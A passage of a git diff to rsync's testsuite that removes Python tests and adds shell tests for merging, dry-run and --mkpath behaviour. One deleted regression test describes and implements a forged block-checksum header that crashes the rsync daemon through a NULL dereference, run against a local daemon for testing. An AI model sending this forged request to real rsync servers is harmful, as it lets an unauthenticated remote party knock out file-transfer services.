a/testsuite/match-want-i-nolen_test.py\n+++ /dev/null\n@@ -1,94 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for a NULL-pointer deref in hash_search() (match.c): the\n-# check_want_i adjacent-match optimisation substitutes i = want_i after matching\n-# sum1 and sum2, but -- unlike the main chain loop and the aligned_i path -- did\n-# NOT re-check s->sums[want_i].len == l.\n-#\n-# A hostile generator pulling from a daemon-as-sender forges a sum header against\n-# a served regular file: count=2, blength=len+1, remainder=len, s2length=0 (so\n-# the sum2 memcmp is a no-op), with BOTH block sum1 set to the file's rolling\n-# checksum get_checksum1(file, len). At offset 0 the chain skips block 0\n-# (.len=blength=len+1 != l=len) and matches block 1 (.len=remainder=len); then\n-# check_want_i substitutes want_i=0 (.len=len+1) unchecked. After matched(),\n-# offset advances to len, k = MIN(blength, len-offset) = 0, map_ptr(...,0)\n-# returns NULL, and match.c:323 dereferences map[0] -- a remote unauthenticated\n-# SEGV of the per-connection daemon child against any non-empty module file.\n-#\n-# We use a 1-byte file so get_checksum1 is trivial. The fix adds the missing\n-# `l == s->sums[want_i].len` gate (matching the chain loop / aligned_i path).\n-#\n-# Oracle: pre-fix -> the daemon child hits an ASan SEGV report (NULL deref);\n-# fixed -> the forged want_i substitution is rejected and no report appears.\n-# Needs an ASan build + a real TCP daemon, and is skipped otherwise.\n-\n-import glob\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_asan, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12951\n-require_tcp(\"the pure-Python generator needs a real TCP daemon; run with --use-tcp\")\n-require_asan(\"the hash_search want_i NULL-deref is observed via the daemon's \"\n-            \"AddressSanitizer SEGV report\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'wanti-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-CONTENT = b'A'                       # 1-byte file => trivial rolling checksum\n-(mod / 'f').write_bytes(CONTENT)\n-LEN = len(CONTENT)\n-\n-conf = SCRATCHDIR / 'wanti.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/wanti-rsyncd.pid\n-use chroot = no\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-\n-asan_log = SCRATCHDIR / 'wanti-asan'\n-for stale in glob.glob(f\"{asan_log}.*\"):\n-    os.unlink(stale)\n-prev = os.environ.get('ASAN_OPTIONS', '')\n-os.environ['ASAN_OPTIONS'] = (\n-    (prev + ':' if prev else '') + f'detect_leaks=0:abort_on_error=1:log_path={asan_log}')\n-\n-start_rsyncd(conf, PORT)\n-\n-c = rp.DaemonClient('127.0.0.1', PORT)\n-# Pull the single file: we are the receiver/generator, the daemon is the sender.\n-c.handshake('mod', ['--server', '--sender', '-e.LsfxCIu', '.', 'mod/f'],\n-            greeting_version=30)\n-entries = rp.sort_entries(c.recv_flist(preserve_links=False))\n-ndx = next(i for i, e in enumerate(entries) if e.name == b'f')\n-\n-# Forged sum header: count=2, blength=len+1, remainder=len, s2length=0, both\n-# block sum1 = get_checksum1(file). No sum2 bytes follow (s2length=0).\n-sum1 = rp.get_checksum1(CONTENT)\n-req = (c.w_ndx(ndx) + rp.w_shortint(rp.ITEM_TRANSFER)\n-       + rp.w_sum_head(2, LEN + 1, 0, LEN)\n-       + rp.w_int(sum1) + rp.w_int(sum1))\n-c.send_data(req)\n-# Trailing data so the sender's last block-sum read completes (its read-ahead\n-# wants more than the lone request frame), after which it runs the vulnerable\n-# match_sums/hash_search.\n-c.send_data(c.w_ndx(rp.NDX_DONE))\n-c.drain(timeout=3.0)\n-c.close()\n-\n-reports = glob.glob(f\"{asan_log}.*\")\n-text = ''.join(open(r, errors='replace').read() for r in reports)\n-if 'AddressSanitizer' in text:\n-    test_fail(\n-        \"daemon sender hit an AddressSanitizer error on a forged adjacent-match \"\n-        \"sum header -- check_want_i substituted want_i without re-checking its \"\n-        \"length, so map_ptr() returned NULL and hash_search dereferenced it:\\n\"\n-        + text[:1500])\n-\n-print(\"match-want-i-nolen: forged want_i adjacent match is length-checked; no \"\n-      \"NULL-deref in hash_search.\")\ndiff --git a/testsuite/max-alloc-zero_test.py b/testsuite/max-alloc-zero_test.py\ndeleted file mode 100755\nindex b73e64f..0000000\n--- a/testsuite/max-alloc-zero_test.py\n+++ /dev/null\n@@ -1,88 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"``--max-alloc=0`` means \"the largest limit this build supports\".\n-\n-Three things are asserted, and the second is the reason 0 is worth keeping as a\n-spelling at all:\n-\n-  1. 0 is accepted, and a transfer using it works.\n-\n-  2. 0 reaches the peer as the literal \"0\", not as a resolved number.  Each side\n-     then resolves it against its own SIZE_MAX.  That is what makes 0 the only\n-     value correct for both ends of a mixed-word-size pairing: the ceiling is\n-     SIZE_MAX/2, so any number large enough to be worth setting on a 64-bit\n-     client (over 2047M) is refused as \"too large\" by a 32-bit daemon.\n-\n-  3. The parser's upper bound is still enforced.  Accepting 0 again must not\n-     bring back the unbounded ``size *= atof(size_arg)`` that was fixed in\n-     3.5.0, so an out-of-range value is still rejected rather than wrapping.\n-\n-The forwarding check in (2) deliberately inspects the argv the remote shell is\n-handed rather than a transfer outcome: a resolved number also copies files\n-happily on a same-word-size pair, so an outcome-based assertion would pass on\n-exactly the configuration this behaviour does not matter for.\n-\"\"\"\n-\n-import os\n-import shlex\n-\n-from rsyncfns import (\n-    SCRATCHDIR, SRCDIR, expect_fail, rsh_cmd, rmtree, rsync_argv,\n-    rsync_path_arg, run_rsync, test_fail,\n-)\n-\n-base = SCRATCHDIR / 'max-alloc-zero'\n-rmtree(base)\n-src = base / 'from'\n-dst = base / 'to'\n-src.mkdir(parents=True)\n-dst.mkdir(parents=True)\n-(src / 'file.txt').write_text('hello\\n')\n-\n-# --- 1. 0 is accepted -------------------------------------------------------\n-\n-run_rsync('-r', '--max-alloc=0', f'{src}/', f'{dst}/')\n-if (dst / 'file.txt').read_text() != 'hello\\n':\n-    test_fail('--max-alloc=0 did not copy the file')\n-\n-# --- 2. 0 goes on the wire un-normalized ------------------------------------\n-\n-argv_log = base / 'server-argv'\n-wrapper = base / 'log-rsh.sh'\n-wrapper.write_text(\n-    '#!/bin/sh\\n'\n-    '# Log the command line built for the peer, then behave like lsh.sh.\\n'\n-    f'printf \\'%s\\\\n\\' \"$*\" >> {shlex.quote(str(argv_log))}\\n'\n-    f'exec {shlex.quote(str(SRCDIR / \"support\" / \"lsh.sh\"))} \"$@\"\\n'\n-)\n-wrapper.chmod(0o755)\n-\n-rmtree(dst)\n-dst.mkdir()\n-os.environ['RSYNC_RSH'] = rsh_cmd(str(wrapper))\n-run_rsync('-r', '--max-alloc=0', f'--rsync-path={rsync_path_arg()}',\n-          f'localhost:{src}/', f'{dst}/')\n-del os.environ['RSYNC_RSH']\n-\n-if (dst / 'file.txt').read_text() != 'hello\\n':\n-    test_fail('--max-alloc=0 did not copy the file over the remote shell')\n-\n-logged = argv_log.read_text() if argv_log.exists() else ''\n-if not logged:\n-    test_fail('the remote-shell wrapper logged no command line')\n-if '--max-alloc=0' not in f' {logged} '.replace('\\n', ' '):\n-    test_fail('--max-alloc=0 was not forwarded verbatim; the peer was sent:\\n'\n-              f'{logged}'\n-              '\\nA resolved number here would be rejected as \"too large\" by a '\n-              'peer with a smaller SIZE_MAX.')\n-\n-# --- 3. the upper bound still holds -----------------------------------------\n-\n-# 8192P is one step past SIZE_ARG_MAX (SIZE_MAX/2) on a 64-bit build; on a\n-# 32-bit one the P multiplier alone already exceeds it.  Either way: too large.\n-expect_fail(rsync_argv('--max-alloc=8192P', f'{src}/', f'{dst}/'), 'is too large')\n-\n-# And the min-value message must keep advertising a spelling that works.\n-expect_fail(rsync_argv('--max-alloc=1', f'{src}/', f'{dst}/'),\n-            'or 0 for unlimited')\n-\n-print('max-alloc-zero: 0 is accepted, forwarded verbatim, and the bound holds')\ndiff --git a/testsuite/merge.test b/testsuite/merge.test\nnew file mode 100644\nindex 0000000..17050a1\n--- /dev/null\n+++ b/testsuite/merge.test\n@@ -0,0 +1,57 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2004-2022 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Make sure we can merge files from multiple directories into one.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+# Build some files/dirs/links to copy\n+\n+# Use local dirnames to better exercise the arg-parsing code.\n+cd \"$tmpdir\"\n+\n+mkdir from1 from2 from3 deep\n+mkdir from2/sub1 from3/sub1\n+mkdir from3/sub2 from1/dir-and-not-dir\n+mkdir chk chk/sub1 chk/sub2 chk/dir-and-not-dir\n+echo \"one\" >from1/one\n+cp_touch from1/one from2/one\n+cp_touch from1/one from3/one\n+echo \"two\" >from1/two\n+echo \"three\" >from2/three\n+echo \"four\" >from3/four\n+echo \"five\" >from1/five\n+echo \"six\" >from3/six\n+echo \"sub1\" >from2/sub1/uno\n+cp_touch from2/sub1/uno from3/sub1/uno\n+echo \"sub2\" >from3/sub1/dos\n+echo \"sub3\" >from2/sub1/tres\n+echo \"subby\" >from3/sub2/subby\n+echo \"extra\" >from1/dir-and-not-dir/inside\n+echo \"not-dir\" >from3/dir-and-not-dir\n+echo \"arg-test\" >deep/arg-test\n+echo \"shallow\" >shallow\n+\n+cp_touch from1/one from1/two from2/three from3/four from1/five from3/six chk\n+cp_touch deep/arg-test shallow chk\n+cp_touch from1/dir-and-not-dir/inside chk/dir-and-not-dir\n+cp_touch from2/sub1/uno from3/sub1/dos from2/sub1/tres chk/sub1\n+cp_touch from3/sub2/subby chk/sub2\n+\n+# Make sure that time has moved on.\n+sleep 1\n+\n+# Get rid of any directory-time differences\n+$RSYNC -av --existing -f 'exclude,! */' from1/ from2/\n+$RSYNC -av --existing -f 'exclude,! */' from2/ from3/\n+$RSYNC -av --existing -f 'exclude,! */' from1/ chk/\n+$RSYNC -av --existing -f 'exclude,! */' from3/ chk/\n+\n+checkit \"$RSYNC -avv deep/arg-test shallow from1/ from2/ from3/ to/\" \"$chkdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/merge_test.py b/testsuite/merge_test.py\ndeleted file mode 100644\nindex 069a74b..0000000\n--- a/testsuite/merge_test.py\n+++ /dev/null\n@@ -1,89 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/merge.test.\n-#\n-# Verify that rsync merges files from multiple source directories into a\n-# single destination, with later sources NOT clobbering earlier ones for\n-# unchanged content and per-directory conflict resolution behaving as in\n-# the canonical case.\n-\n-import os\n-import time\n-\n-from rsyncfns import (\n-    CHKDIR, TMPDIR, TODIR,\n-    checkit, cp_touch, run_rsync,\n-)\n-\n-\n-# Use relative names below so the rsync command line exercises the\n-# arg-parsing path the way the shell test did.\n-os.chdir(TMPDIR)\n-\n-for d in ('from1', 'from2', 'from3', 'deep'):\n-    os.mkdir(d)\n-for d in ('from2/sub1', 'from3/sub1', 'from3/sub2', 'from1/dir-and-not-dir'):\n-    os.mkdir(d)\n-\n-CHKDIR.mkdir(exist_ok=True)\n-for d in ('sub1', 'sub2', 'dir-and-not-dir'):\n-    (CHKDIR / d).mkdir()\n-\n-with open('from1/one', 'w') as f:\n-    f.write(\"one\\n\")\n-cp_touch('from1/one', 'from2/one')\n-cp_touch('from1/one', 'from3/one')\n-\n-with open('from1/two', 'w') as f:\n-    f.write(\"two\\n\")\n-with open('from2/three', 'w') as f:\n-    f.write(\"three\\n\")\n-with open('from3/four', 'w') as f:\n-    f.write(\"four\\n\")\n-with open('from1/five', 'w') as f:\n-    f.write(\"five\\n\")\n-with open('from3/six', 'w') as f:\n-    f.write(\"six\\n\")\n-with open('from2/sub1/uno', 'w') as f:\n-    f.write(\"sub1\\n\")\n-cp_touch('from2/sub1/uno', 'from3/sub1/uno')\n-with open('from3/sub1/dos', 'w') as f:\n-    f.write(\"sub2\\n\")\n-with open('from2/sub1/tres', 'w') as f:\n-    f.write(\"sub3\\n\")\n-with open('from3/sub2/subby', 'w') as f:\n-    f.write(\"subby\\n\")\n-with open('from1/dir-and-not-dir/inside', 'w') as f:\n-    f.write(\"extra\\n\")\n-with open('from3/dir-and-not-dir', 'w') as f:\n-    f.write(\"not-dir\\n\")\n-with open('deep/arg-test', 'w') as f:\n-    f.write(\"arg-test\\n\")\n-with open('shallow', 'w') as f:\n-    f.write(\"shallow\\n\")\n-\n-for src in ('from1/one', 'from1/two', 'from2/three', 'from3/four',\n-            'from1/five', 'from3/six'):\n-    cp_touch(src, str(CHKDIR))\n-cp_touch('deep/arg-test', str(CHKDIR))\n-cp_touch('shallow', str(CHKDIR))\n-cp_touch('from1/dir-and-not-dir/inside', str(CHKDIR / 'dir-and-not-dir'))\n-for src in ('from2/sub1/uno', 'from3/sub1/dos', 'from2/sub1/tres'):\n-    cp_touch(src, str(CHKDIR / 'sub1'))\n-cp_touch('from3/sub2/subby', str(CHKDIR / 'sub2'))\n-\n-# Make sure time has moved on before the rsync runs.\n-time.sleep(1)\n-\n-# Pre-sync directory-only updates to flatten directory-time differences,\n-# matching the shell test's --existing -f 'exclude,! */' preparation.\n-def _flatten_dirs(src, dst):\n-    run_rsync('-av', '--existing', '-f', 'exclude,! */', f'{src}/', f'{dst}/')\n-\n-\n-_flatten_dirs('from1', 'from2')\n-_flatten_dirs('from2', 'from3')\n-_flatten_dirs('from1', str(CHKDIR))\n-_flatten_dirs('from3', str(CHKDIR))\n-\n-checkit(['-avv', 'deep/arg-test', 'shallow', 'from1/', 'from2/', 'from3/', 'to/'],\n-        CHKDIR, TODIR)\ndiff --git a/testsuite/metadata-depth_test.py b/testsuite/metadata-depth_test.py\ndeleted file mode 100644\nindex f8ba7a0..0000000\n--- a/testsuite/metadata-depth_test.py\n+++ /dev/null\n@@ -1,57 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -p (perms), -t (times) and --chmod at depth.\n-\n-Each attribute is set distinctively on a file AND a directory at every level of\n-a >=3-deep tree, then checked per entry after the transfer -- the metadata is\n-applied as a single-component operation on an entry whose parent chain the\n-resolver restructure rewrites, so it must be verified deep, not just at the\n-root.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_mode, assert_mtime_close, make_tree, rmtree, run_rsync, test_fail,\n-    walk_dirs, walk_files,\n-)\n-\n-src = FROMDIR\n-FILE_MODE = 0o640\n-DIR_MODE = 0o750\n-BASE_MTIME = 1_400_000_000          # a fixed, clearly-old timestamp\n-\n-\n-def seed():\n-    rmtree(src)\n-    rmtree(TODIR)\n-    make_tree(src, depth=3)\n-    for i, f in enumerate(walk_files(src)):\n-        os.chmod(f, FILE_MODE)\n-        os.utime(f, (BASE_MTIME + i * 100, BASE_MTIME + i * 100))\n-    for d in walk_dirs(src):\n-        os.chmod(d, DIR_MODE)\n-\n-\n-# --- -p preserves exact file and directory modes at every level -------------\n-seed()\n-run_rsync('-rlpt', f'{src}/', f'{TODIR}/')\n-for f in walk_files(src):\n-    assert_mode(TODIR / f.relative_to(src), FILE_MODE, label=f'-p file {f.name}')\n-for d in walk_dirs(src):\n-    assert_mode(TODIR / d.relative_to(src), DIR_MODE, label=f'-p dir {d.name}')\n-\n-# --- -t preserves file mtimes at every level --------------------------------\n-for f in walk_files(src):\n-    rel = f.relative_to(src)\n-    assert_mtime_close(TODIR / rel, f.stat().st_mtime, label=f'-t {rel}')\n-\n-# --- --chmod rewrites modes at every level ----------------------------------\n-seed()\n-run_rsync('-a', '--chmod=D710,F600', f'{src}/', f'{TODIR}/')\n-for f in walk_files(src):\n-    assert_mode(TODIR / f.relative_to(src), 0o600, label=f'--chmod file {f.name}')\n-for d in walk_dirs(src):\n-    assert_mode(TODIR / d.relative_to(src), 0o710, label=f'--chmod dir {d.name}')\n-\n-print(\"metadata-depth: -p / -t / --chmod verified per entry at depth\")\ndiff --git a/testsuite/misc-coverage_test.py b/testsuite/misc-coverage_test.py\ndeleted file mode 100644\nindex 5bf2733..0000000\n--- a/testsuite/misc-coverage_test.py\n+++ /dev/null\n@@ -1,125 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage: cheap one-off paths no other test reaches.\n-\n-  usage.c daemon_usage + help-rsyncd.h     -- rsync --daemon --help\n-  main.c show_malloc_stats /\n-  flist.c show_flist_stats                 -- --info=stats3\n-  util2.c sum_as_hex /\n-  checksum.c canonical_checksum            -- -c --out-format='%C %n'\n-                                              (always_checksum branch) and\n-                                              --out-format='%C %n' alone\n-                                              (ITEM_TRANSFER branch)\n-  generator.c start_delete_delay_temp /\n-  flush_delete_delay                       -- --delete-delay with enough\n-                                              queued deletions to overflow\n-                                              the BIGPATHBUFLEN*4 in-memory\n-                                              buffer into the temp-file path\n-\n-Each section asserts the observable behaviour, not just exit==0, so the test\n-also guards against regressions in those paths.\n-\"\"\"\n-\n-import re\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail,\n-)\n-\n-\n-def run(*argv, ok=(0,)):\n-    r = subprocess.run(rsync_argv(*argv), capture_output=True, text=True)\n-    if r.returncode not in ok:\n-        test_fail(f\"rsync {' '.join(argv)} -> rc={r.returncode}\\n{r.stderr}\")\n-    return r\n-\n-\n-# --- 1. daemon_usage + help-rsyncd.h ----------------------------------------\n-r = run('--daemon', '--help')\n-if '--no-detach' not in r.stdout or 'rsync --daemon' not in r.stdout:\n-    test_fail(f\"--daemon --help did not emit the daemon usage text:\\n{r.stdout}\")\n-\n-\n-# --- 2. show_malloc_stats + show_flist_stats (INFO_GTE(STATS,3)) ------------\n-src = SCRATCHDIR / 'stats-src'\n-dst = SCRATCHDIR / 'stats-dst'\n-rmtree(src); rmtree(dst); makepath(src, dst)\n-for i in range(3):\n-    (src / f'f{i}').write_bytes(b'x' * (64 + i))\n-r = run('-r', '--info=stats3', f'{src}/', f'{dst}/')\n-out = r.stdout + r.stderr\n-# show_malloc_stats prints an arena/heap summary (one block per process), but\n-# only on a glibc/mallinfo build -- on the BSDs/macOS show_malloc_stats() is a\n-# no-op (still called, and thus covered, at INFO_GTE(STATS,3), just no output).\n-# show_flist_stats() is currently an empty stub.\n-import platform\n-if platform.system() == 'Linux':\n-    if 'heap statistics' not in out:\n-        test_fail(f\"--info=stats3 did not emit malloc stats:\\n{out}\")\n-    # One block per process: sender + server receiver + server generator.\n-    if out.count('heap statistics') < 3:\n-        test_fail(f\"--info=stats3 emitted fewer than 3 heap-stat blocks:\\n{out}\")\n-\n-\n-# --- 3. sum_as_hex + canonical_checksum (--out-format=%C) --------------------\n-csrc = SCRATCHDIR / 'csum-src'\n-cdst = SCRATCHDIR / 'csum-dst'\n-rmtree(csrc); rmtree(cdst); makepath(csrc, cdst)\n-payload = b'hello, checksum coverage\\n'\n-(csrc / 'a').write_bytes(payload)\n-(csrc / 'b').write_bytes(payload + b'!')\n-\n-# The file/transfer checksum algorithm is negotiated (xxh128/xxh3/md5/...\n-# depending on build + protocol), so don't assert which -- just that %C emits\n-# a per-file hex digest of plausible length, and that DIFFERENT file content\n-# produces a DIFFERENT digest (i.e. it's the actual sum, not a placeholder).\n-HEX = re.compile(r'^([0-9a-f]{16,128}) (\\S+)$', re.M)\n-\n-def check_C(out, label):\n-    # Two valid outcomes: hex digests (canonical csum -> sum_as_hex returns the\n-    # hex string) or a run of spaces (non-canonical, e.g. md4 at --protocol=29\n-    # -> sum_as_hex returns NULL and log.c emits sum_len*2 spaces).  Either way\n-    # sum_as_hex/canonical_checksum were CALLED, which is the coverage goal.\n-    sums = dict((m[2], m[1]) for m in HEX.finditer(out))\n-    if sums:\n-        if 'a' not in sums or 'b' not in sums or sums['a'] == sums['b']:\n-            test_fail(f\"{label}: per-file digests not distinct:\\n{out!r}\")\n-        return 'hex'\n-    if not re.search(r'^ {8,} a$', out, re.M):\n-        test_fail(f\"{label}: emitted neither a hex digest nor the \"\n-                  f\"non-canonical-csum spaces fallback:\\n{out!r}\")\n-    return 'spaces'\n-\n-# 3a. always_checksum branch (log.c:707): with -c, %C encodes F_SUM(file).\n-r = run('-rc', '--out-format=%C %n', f'{csrc}/', f'{cdst}/')\n-kind_a = check_C(r.stdout, '-c %C')\n-\n-# 3b. ITEM_TRANSFER branch (log.c:709): no -c, %C encodes sender_file_sum.\n-rmtree(cdst); makepath(cdst)\n-r = run('-r', '--out-format=%C %n', f'{csrc}/', f'{cdst}/')\n-kind_b = check_C(r.stdout, '%C (no -c)')\n-\n-\n-# --- 4. start_delete_delay_temp + flush_delete_delay ------------------------\n-# deldelay_size = BIGPATHBUFLEN*4 = 20480.  Each remember_delete() entry is\n-# \"%x %s\\0\" -> ~6 + len(name).  300 files with 80-char names -> ~25 KB,\n-# guaranteed to overflow the in-memory buffer and spill to the temp file.\n-ddsrc = SCRATCHDIR / 'dd-src'\n-dddst = SCRATCHDIR / 'dd-dst'\n-rmtree(ddsrc); rmtree(dddst); makepath(ddsrc, dddst)\n-(ddsrc / 'keep').write_bytes(b'k')\n-NAME = 'D' * 80\n-N = 300\n-for i in range(N):\n-    (dddst / f'{NAME}{i:04d}').write_bytes(b'x')\n-r = run('-r', '--delete-delay', f'{ddsrc}/', f'{dddst}/')\n-remaining = [p for p in dddst.iterdir() if p.name.startswith(NAME)]\n-if remaining:\n-    test_fail(f\"--delete-delay left {len(remaining)}/{N} files \"\n-              f\"after the temp-file spill path\")\n-if not (dddst / 'keep').is_file():\n-    test_fail(\"--delete-delay lost the kept file\")\n-\n-\n-print(f\"misc-coverage: --daemon --help, --info=stats3, \"\n-      f\"%C ({kind_a}/{kind_b}), --delete-delay temp-file spill ({N} entries) ok\")\ndiff --git a/testsuite/missing.test b/testsuite/missing.test\nnew file mode 100644\nindex 0000000..2fbf461\n--- /dev/null\n+++ b/testsuite/missing.test\n@@ -0,0 +1,34 @@\n+#!/bin/sh\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test three bugs fixed by my redoing of the missing_below logic.\n+\n+. $suitedir/rsync.fns\n+\n+makepath \"$fromdir/subdir\" \"$todir\"\n+echo data >\"$fromdir/subdir/file\"\n+echo data >\"$todir/other\"\n+\n+# Test 1: Too much \"not creating new...\" output on a dry run\n+$RSYNC -n -r --ignore-non-existing -vv \"$fromdir/\" \"$todir/\" | tee \"$scratchdir/out\"\n+if grep 'not creating new.*subdir/file' \"$scratchdir/out\" >/dev/null; then\n+\ttest_fail 'test 1 failed'\n+fi\n+\n+case \"$RSYNC\" in\n+*protocol=29*) # FIXME can we get past the new flist sanity check in protocol 29?\n+\techo \"Skipped test 2 for protocol 29.\"\n+\t;;\n+*)\n+\t# Test 2: Attempt to make a fuzzy dirlist for a dir not created on a dry run\n+\t$RSYNC -n -r -R --no-implied-dirs -y \"$fromdir/./subdir/file\" \"$todir/\" \\\n+\t\t|| test_fail 'test 2 failed'\n+\t;;\n+esac\n+\n+# Test 3: --delete-after pass skipped when last dir is dry-missing\n+$RSYNC -n -r --delete-after -i \"$fromdir/\" \"$todir/\" | tee \"$scratchdir/out\"\n+grep '^\\*deleting * other' \"$scratchdir/out\" >/dev/null \\\n+\t|| test_fail 'test 3 failed'\ndiff --git a/testsuite/missing_test.py b/testsuite/missing_test.py\ndeleted file mode 100644\nindex c0a600f..0000000\n--- a/testsuite/missing_test.py\n+++ /dev/null\n@@ -1,58 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/missing.test.\n-#\n-# Three regressions guarded by the missing_below logic rewrite:\n-#   1. Dry-run with --ignore-non-existing must NOT emit \"not creating new\"\n-#      for files whose containing directory already exists at the dest.\n-#   2. Dry-run -R -y --no-implied-dirs must not crash trying to build a\n-#      fuzzy dirlist for a directory it never created.\n-#   3. --delete-after dry-run still emits \"*deleting\" lines even when the\n-#      last source dir is dry-missing on the destination.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import FROMDIR, RSYNC, TMPDIR, TODIR, makepath, rsync_argv, test_fail\n-\n-\n-makepath(FROMDIR / 'subdir', TODIR)\n-(FROMDIR / 'subdir' / 'file').write_text(\"data\\n\")\n-(TODIR / 'other').write_text(\"data\\n\")\n-\n-\n-def run_capture(*args):\n-    proc = subprocess.run(rsync_argv(*args), capture_output=True, text=True)\n-    print(proc.stdout, end='')\n-    print(proc.stderr, end='')\n-    return proc\n-\n-\n-# Test 1: too much \"not creating new...\" output on a dry-run.\n-out_path = TMPDIR / 'out1'\n-proc = run_capture('-n', '-r', '--ignore-non-existing', '-vv',\n-                   f'{FROMDIR}/', f'{TODIR}/')\n-if proc.returncode != 0:\n-    test_fail(f\"test 1 failed: dry-run errored (rc={proc.returncode})\")\n-out_path.write_text(proc.stdout)\n-for line in proc.stdout.splitlines():\n-    if 'not creating new' in line and 'subdir/file' in line:\n-        test_fail(\"test 1 failed: dry-run announced creating subdir/file\")\n-\n-# Test 2: fuzzy dirlist crash on dry-run.  Skipped on protocol 29 just like\n-# the shell version did, since the new flist sanity check rejects this.\n-if 'protocol=29' not in RSYNC:\n-    proc = run_capture('-n', '-r', '-R', '--no-implied-dirs', '-y',\n-                       f'{FROMDIR}/./subdir/file', f'{TODIR}/')\n-    if proc.returncode != 0:\n-        test_fail(\"test 2 failed: --no-implied-dirs dry-run errored\")\n-else:\n-    print(\"Skipped test 2 for protocol 29.\")\n-\n-# Test 3: --delete-after pass skipped when last dir is dry-missing.\n-proc = run_capture('-n', '-r', '--delete-after', '-i',\n-                   f'{FROMDIR}/', f'{TODIR}/')\n-saw_delete = any(line.lstrip().startswith('*deleting')\n-                 and 'other' in line\n-                 for line in proc.stdout.splitlines())\n-if not saw_delete:\n-    test_fail(\"test 3 failed: no '*deleting other' line in dry-run output\")\ndiff --git a/testsuite/mkpath.test b/testsuite/mkpath.test\nnew file mode 100644\nindex 0000000..8046345\n--- /dev/null\n+++ b/testsuite/mkpath.test\n@@ -0,0 +1,47 @@\n+#!/bin/sh\n+\n+. \"$suitedir/rsync.fns\"\n+\n+makepath \"$fromdir\"\n+makepath \"$todir\"\n+\n+cp_p \"$srcdir/rsync.h\" \"$fromdir/text\"\n+cp_p \"$srcdir/configure.ac\" \"$fromdir/extra\"\n+\n+cd \"$tmpdir\"\n+\n+deep_dir=to/foo/bar/baz/down/deep\n+\n+# Check that we can create several levels of dest dir\n+$RSYNC -aiv --mkpath from/text $deep_dir/new\n+test -f $deep_dir/new || test_fail \"'new' file not found in $deep_dir dir\"\n+rm -rf to/foo\n+\n+$RSYNC -aiv --mkpath from/text $deep_dir/\n+test -f $deep_dir/text || test_fail \"'text' file not found in $deep_dir dir\"\n+rm $deep_dir/text\n+\n+# Make sure we can handle an existing path\n+mkdir $deep_dir/new\n+$RSYNC -aiv --mkpath from/text $deep_dir/new\n+test -f $deep_dir/new/text || test_fail \"'text' file not found in $deep_dir/new dir\"\n+\n+# ... and an existing path when an alternate dest filename is specified\n+$RSYNC -aiv --mkpath from/text $deep_dir/new/text2\n+test -f $deep_dir/new/text2 || test_fail \"'text2' file not found in $deep_dir/new dir\"\n+rm -rf to/foo\n+\n+# Try the tests again with multiple source args\n+$RSYNC -aiv --mkpath from/ $deep_dir\n+test -f $deep_dir/extra || test_fail \"'extra' file not found in $deep_dir dir\"\n+rm -rf to/foo\n+\n+$RSYNC -aiv --mkpath from/ $deep_dir/\n+test -f $deep_dir/text || test_fail \"'text' file not found in $deep_dir dir\"\n+\n+# Make sure that we can handle no path\n+$RSYNC -aiv --mkpath from/text to_text\n+test -f to_text || test_fail \"'to_text' file not found in current dir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/mkpath_test.py b/testsuite/mkpath_test.py\ndeleted file mode 100644\nindex f72cf98..0000000\n--- a/testsuite/mkpath_test.py\n+++ /dev/null\n@@ -1,76 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/mkpath.test.\n-#\n-# Test the rsync --mkpath option: it should create any missing intermediate\n-# destination directories rather than erroring out.\n-\n-import filecmp\n-import os\n-import shutil\n-from pathlib import Path\n-\n-from rsyncfns import (\n-    FROMDIR, SRCDIR, TMPDIR, TODIR,\n-    makepath, rmtree, run_rsync, test_fail,\n-)\n-\n-\n-makepath(FROMDIR, TODIR)\n-shutil.copy2(SRCDIR / 'rsync.h', FROMDIR / 'text')\n-shutil.copy2(SRCDIR / 'configure.ac', FROMDIR / 'extra')\n-\n-# All paths in the rsync invocations below are interpreted relative to\n-# TMPDIR, matching the original shell test which did `cd \"$tmpdir\"`.\n-os.chdir(TMPDIR)\n-\n-deep_dir = Path('to/foo/bar/baz/down/deep')\n-\n-\n-def assert_file(path: Path, label: str, src: str = 'from/text') -> None:\n-    if not path.is_file():\n-        test_fail(f\"{label}: {path} not found\")\n-    if not filecmp.cmp(path, src, shallow=False):\n-        test_fail(f\"{label}: {path} content differs from {src}\")\n-\n-\n-# Negative control: without --mkpath, a missing intermediate path must fail and\n-# create nothing -- otherwise the --mkpath successes below prove nothing.\n-rmtree('to/foo')\n-proc = run_rsync('-ai', 'from/text', str(deep_dir / 'new'), check=False)\n-if proc.returncode == 0 or (deep_dir / 'new').exists():\n-    test_fail(\"a transfer WITHOUT --mkpath created the missing intermediate path\")\n-\n-# Create several levels of dest dir (file destination — final component\n-# is the new filename).\n-run_rsync('-aiv', '--mkpath', 'from/text', str(deep_dir / 'new'))\n-assert_file(deep_dir / 'new', \"'new' file in deep dir\")\n-rmtree('to/foo')\n-\n-# Trailing slash on the dest means it's a directory; the file keeps its name.\n-run_rsync('-aiv', '--mkpath', 'from/text', str(deep_dir) + '/')\n-assert_file(deep_dir / 'text', \"'text' file in deep dir (trailing-slash 